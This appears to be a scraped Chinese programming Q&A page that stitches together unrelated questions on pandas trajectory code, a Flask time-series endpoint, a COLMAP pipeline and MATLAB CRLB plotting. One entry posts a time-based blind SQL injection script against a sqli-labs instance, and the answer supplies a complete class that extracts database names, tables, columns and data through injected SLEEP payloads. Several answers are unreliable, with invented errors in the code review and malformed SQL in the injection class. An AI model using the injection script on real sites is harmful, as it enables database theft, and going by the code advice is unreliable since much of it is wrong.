def readTrajectory(path): columns_names = ["V_ID","LNG","TIMESTAMP", "agl","mlg","spd","hgt","LAT","tt","T_ID"] #df = pd.read_csv(path, names = columns_names, header = None) df = pd.read_csv(path,header=0) df["TIMESTAMP"] = pd.to_datetime(df["TIMESTAMP"], format ="%Y-%m-%d %H:%M:%S") df.sort_values(["TIMESTAMP"], inplace = True) df.reset_index(drop = True) df = df.round({'LNG': 8, 'LAT': 8}) df = df.reset_index(drop = True) df["Index"] = df.index return df[["V_ID","LNG","TIMESTAMP", "agl","mlg","spd","hgt","LAT","tt","T_ID","Index"]] def main(): prior_decay_coff = 10 # 先验概率衰减系数 trans_prob_decay_coff = 100 # 转移概率衰减系数 buffer_dis = 50 # 缓冲区半径 GPS误差 network_path = "data/network/111.shp" network_path_wgs84 = "data/network/84打断.shp" network_feature_layer = ArcpyUtil.toFeatureLayer(network_path, "network_feature_layer") network_wgs84_feature_layer = ArcpyUtil.toFeatureLayer(network_path_wgs84, "network_wgs84_feature_layer") road_segment_points_lengths = ArcpyUtil.getRoadSegmentInfo(network_path) # 提取路段信息 connected_graph = ArcpyUtil.getNetworkGraph(network_path, road_segment_points_lengths) # 构建图 LL=[]解释一下这段代码

时间: 2023-07-19 16:57:31 浏览: 44
这段代码定义了一个函数readTrajectory(path),它的作用是读取一个轨迹数据文件,将数据存储为一个DataFrame对象,并对数据进行一系列处理和转换,最终返回包含特定列的DataFrame对象。具体来说,该函数首先定义了一个columns_names列表,包含轨迹数据文件中每列数据的列名。然后,它调用pandas库的read_csv()函数读取指定路径的文件,并将其存储为DataFrame对象,其中header参数指定第一行为列名。接下来,该函数对TIMESTAMP列进行时间格式转换,并将DataFrame对象按TIMESTAMP列排序。然后,它对LNG和LAT列进行四舍五入处理,并将DataFrame对象的索引重置为从0开始的整数。最后,该函数返回包含特定列的DataFrame对象,这些列包括V_ID、LNG、TIMESTAMP、agl、mlg、spd、hgt、LAT、tt、T_ID和Index。 另外,代码中还定义了一个main()函数,其中prior_decay_coff、trans_prob_decay_coff和buffer_dis分别表示先验概率衰减系数、转移概率衰减系数和缓冲区半径,在后续的代码中可能被使用。此外,代码中还调用了ArcpyUtil模块中的一些函数,用于读取、处理和分析地理数据。最后,LL=[]语句定义了一个空列表LL,但没有被使用,可能是该代码段被精简过程中留下的无用行。
相关问题

这段代码有什么问题:def get_value_fromVol(test_map,vol_temp,TMax_value): vol_index = test_map.iloc[0,1:-1].tolist() print(vol_temp,vol_index) if vol_temp>max(vol_index): final_value = 0 else: y_label = vol_temp tem_index = test_map.SOC[1:].to_list() flag = judge_tem(tem_index,TMax_value) if flag == 0: final_value = 0 else: x_label = flag temp_map = pd.DataFrame(test_map.iloc[1:,1:-1].values,columns=vol_index,index=tem_index) final_value = temp_map.loc[x_label,y_label] return final_value

这段代码有一些问题: 1. 代码开头的 "def" 语句没有给出函数名,需要补充一个函数名。 2. 在第二行 "vol_index=test_map.iloc[0,1:-1].tolist()",代码中的 ".tolist()" 不是必要的,可以去掉。 3. 在第三行 "print(vol_temp,vol_index)",没有缩进到函数体内,需要进行缩进。 4. 在第四行 "ifvol_temp>max(vol_index):",需要在 "if" 和 "vol_temp" 之间加上空格,即 "if vol_temp > max(vol_index):"。 5. 在第八行 "tem_index=test_map.SOC[1:].to_list()",代码中的 ".to_list()" 不是必要的,可以去掉。 6. 在第九行 "flag=judge_tem(tem_index,TMax_value)",没有定义 "judge_tem" 函数,需要在代码中定义该函数或者在函数外部导入该函数。 7. 在第十二行 "temp_map=pd.DataFrame(test_map.iloc[1:,1:-1].values,columns=vol_index,index=tem_index)",应该把 "tem_index" 改为 "tem_temp"。 8. 在最后一行 "returnfinal_value",需要在 "return" 和 "final_value" 之间加上空格,即 "return final_value"。 最终代码应该是这样的: def get_final_value_from_vol(test_map, vol_temp, TMax_value): vol_index = test_map.iloc[0, 1:-1].tolist() print(vol_temp, vol_index) if vol_temp > max(vol_index): final_value = 0 else: y_label = vol_temp tem_temp = test_map.SOC[1:] tem_index = tem_temp.to_list() flag = judge_tem(tem_index, TMax_value) if flag == 0: final_value = 0 else: x_label = flag temp_map = pd.DataFrame(test_map.iloc[1:, 1:-1].values, columns=vol_index, index=tem_temp) final_value = temp_map.loc[x_label, y_label] return final_value

import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

好的,以下是一个简单的时间盲注脚本示例: ```python import requests import time class TimeBasedSQLi: def __init__(self, url, sleep_time=0.5): self.url = url self.sleep_time = sleep_time def make_request(self, payload): data = {"id": f"1' AND {payload} AND '1'='1"} start_time = time.time() response = requests.get(self.url, params=data) end_time = time.time() if end_time - start_time >= self.sleep_time: return True else: return False def get_db_name(self): length = 1 while True: payload = f"IF(LENGTH(database())>{length},SLEEP({self.sleep_time}),1)" if self.make_request(payload): length += 1 else: break db_name = '' for i in range(1, length): for j in range(32, 127): payload = f"IF(ASCII(SUBSTRING(database(), {i}, 1))={j},SLEEP({self.sleep_time}),1)" if self.make_request(payload): db_name += chr(j) break return db_name def get_table_names(self): table_names = '' payload = f"(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{self.get_db_name()}')" length = 1 while True: check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): length += 1 else: break for i in range(1, length): for j in range(32, 127): check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): table_names += chr(j) break return table_names.split(',') def get_column_names(self, table_name): column_names = '' payload = f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')" length = 1 while True: check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): length += 1 else: break for i in range(1, length): for j in range(32, 127): check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): column_names += chr(j) break return column_names.split(',') def get_column_data(self, table_name, column_name): column_data = '' payload = f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})" length = 1 while True: check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): length += 1 else: break for i in range(1, length): for j in range(32, 127): check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)" if self.make_request(check_payload): column_data += chr(j) break return column_data.split(',') # 示例用法 url = "http://example.com/vuln.php" sqli = TimeBasedSQLi(url) db_name = sqli.get_db_name() print(f"Database name: {db_name}") table_names = sqli.get_table_names() print(f"Table names: {table_names}") column_names = sqli.get_column_names('users') print(f"Column names: {column_names}") column_data = sqli.get_column_data('users', 'username') print(f"Column data: {column_data}") ``` 注意,这只是一个基本的脚本示例,具体的使用方法和payload需要根据实际情况进行调整。

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from flask import Flask, jsonify, request import pandas as pd import numpy as np import statsmodels.api as sm from datetime import datetime app = Flask(__name__) @app.route('/option0', methods=['POST']) def option0(): arr0 = ['2019/1', '2019/2', '2019/3', '2019/4', '2019/5', '2019/6', '2019/7', '2019/8', '2019/9', '2019/10', '2019/11', '2019/12', '2020/1', '2020/2', '2020/3', '2020/4', '2020/5', '2020/6', '2020/7', '2020/8', '2020/9', '2020/10', '2020/11', '2020/12'] date_arr = [] for date_str in arr0: date_obj = datetime.strptime(date_str, '%Y/%m') date_arr.append(date_obj.timestamp()) arr1 = np.array(request.form['data'].split(), dtype=float) data_array = np.vstack((date_arr, arr1)).T.astype(float) df = pd.DataFrame(data_array, columns=['x', 'y']) df = df.dropna() acf, q, p = sm.tsa.acf(df['y'], nlags=20, qstat=True) if (p < 0.05).any(): short_term_dependency = '时间序列具有短期依赖性' else: short_term_dependency = '时间序列没有短期依赖性' acf, q, p = sm.tsa.acf(df['y'], nlags=20, fft=True, qstat=True) if (p < 0.05).any(): has_periodicity = '时间序列具有周期性' else: has_periodicity = '时间序列没有周期性' adf_result = sm.tsa.stattools.adfuller(df['y']) if adf_result[1] < 0.05: is_stationary = '时间序列是平稳的' else: is_stationary = '时间序列不是平稳的' res = sm.tsa.seasonal_decompose(df['y'], model='additive', period=12) if np.isnan(res.seasonal).any(): has_seasonality = '时间序列没有明显的季节性变化' else: has_seasonality = '时间序列存在季节性变化' result = { print(short_term_dependency, has_periodicity, is_stationary, has_seasonality) } return jsonify(result),如何修改才能正常运行

详细解释一下这段代码,每一句给出详细注解:results_df = pd.DataFrame(columns=['image_path', 'dataset', 'scene', 'rotation_matrix', 'translation_vector']) for dataset_scene in tqdm(datasets_scenes, desc='Running pipeline'): dataset, scene = dataset_scene.split('/') img_dir = f"{INPUT_ROOT}/{'train' if DEBUG else 'test'}/{dataset}/{scene}/images" if not os.path.exists(img_dir): continue feature_dir = f"{DATA_ROOT}/featureout/{dataset}/{scene}" os.system(f"rm -rf {feature_dir}") os.makedirs(feature_dir) fnames = sorted(glob(f"{img_dir}/*")) print('fnames',len(fnames)) # Similarity pipeline if sim_th: index_pairs, h_w_exif = get_image_pairs_filtered(similarity_model, fnames=fnames, sim_th=sim_th, min_pairs=20, all_if_less=20) else: index_pairs, h_w_exif = get_img_pairs_all(fnames=fnames) # Matching pipeline matching_pipeline(matching_model=matching_model, fnames=fnames, index_pairs=index_pairs, feature_dir=feature_dir) # Colmap pipeline maps = colmap_pipeline(img_dir, feature_dir, h_w_exif=h_w_exif) # Postprocessing results = postprocessing(maps, dataset, scene) # Create submission for fname in fnames: image_id = '/'.join(fname.split('/')[-4:]) if image_id in results: R = results[image_id]['R'].reshape(-1) T = results[image_id]['t'].reshape(-1) else: R = np.eye(3).reshape(-1) T = np.zeros((3)) new_row = pd.DataFrame({'image_path': image_id, 'dataset': dataset, 'scene': scene, 'rotation_matrix': arr_to_str(R), 'translation_vector': arr_to_str(T)}, index=[0]) results_df = pd.concat([results_df, new_row]).reset_index(drop=True)

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以下是用matlab绘制高斯色噪声情况下频率估计CRLB的代码: ```matlab % 参数设置 N = 100; % 信号长度 se = 0.5; % 噪声方差 w = zeros(N,1); % 高斯色噪声 w(1) = randn(1)*sqrt(se); for n = 2:N w(n) = 0.8*w(n-1) + randn(1)*sqrt(se); end % 计算频率估计CRLB fs = 1; % 采样频率 df = 0.01; % 频率分辨率 f = 0:df:fs/2; % 频率范围 M = length(f); CRLB = zeros(M,1); for
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